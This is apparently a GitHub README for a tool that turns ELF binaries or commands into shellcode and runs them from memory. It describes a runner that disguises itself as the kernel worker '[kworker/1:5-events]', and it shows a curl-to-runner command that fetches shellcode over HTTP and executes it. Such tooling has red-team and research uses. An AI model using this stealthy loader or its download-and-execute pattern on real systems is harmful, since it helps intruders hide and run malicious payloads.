Skip to content

Latest commit

 

History

History
77 lines (50 loc) · 1.53 KB

File metadata and controls

77 lines (50 loc) · 1.53 KB

elf_to_shellcode

Convert static linked elf , dynamic linked elf or command to shellcode.

Supporter architectures

  • amd64

Usage

python3 ./elf_to_shellcode_amd64.py elf command...

This emits a loader stub followed by the ELF payload on stdout. Capture it to a file or pipe it directly into the bundled runner.

Building the runner

gcc run_shellcode.c -o run_shellcode

On Linux the runner renames its process to [kworker/1:5-events] to blend in with kernel worker tasks. Other platforms ignore the rename.

Running shellcode

  • From a file:
./run_shellcode shellcode.bin
  • Via a pipeline (the runner treats - or no argument as stdin):
python3 ./elf_to_shellcode_amd64.py /bin/ls /bin/ls | ./run_shellcode -
  • Fetch directly over HTTP:
curl -s http://127.0.0.1:9999/shellcode | ./run_shellcode

Samples

  1. convert ls to shellcode
python3 ./elf_to_shellcode_amd64.py /bin/ls /bin/ls ./>/tmp/shellcode

then run the shellcode :

root@LAPTOP-UFBOJERU:/elf_to_shellcode_amd64# ./run /tmp/shellcode
elf_to_shellcode_amd64.py  loader_amd64  run
  1. convert busybox to shellcode
python3 ./elf_to_shellcode_amd64.py /bin/busybox sh >/tmp/shellcode

run the shellcode:

root@LAPTOP-UFBOJERU:/elf_to_shellcode_amd64# ./run ./shellcode

BusyBox v1.30.1 (Ubuntu 1:1.30.1-4ubuntu6.4) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/mnt/c/Users/lenovo/Desktop/elf_x_execve_mem/elf_to_shellcode_amd64 #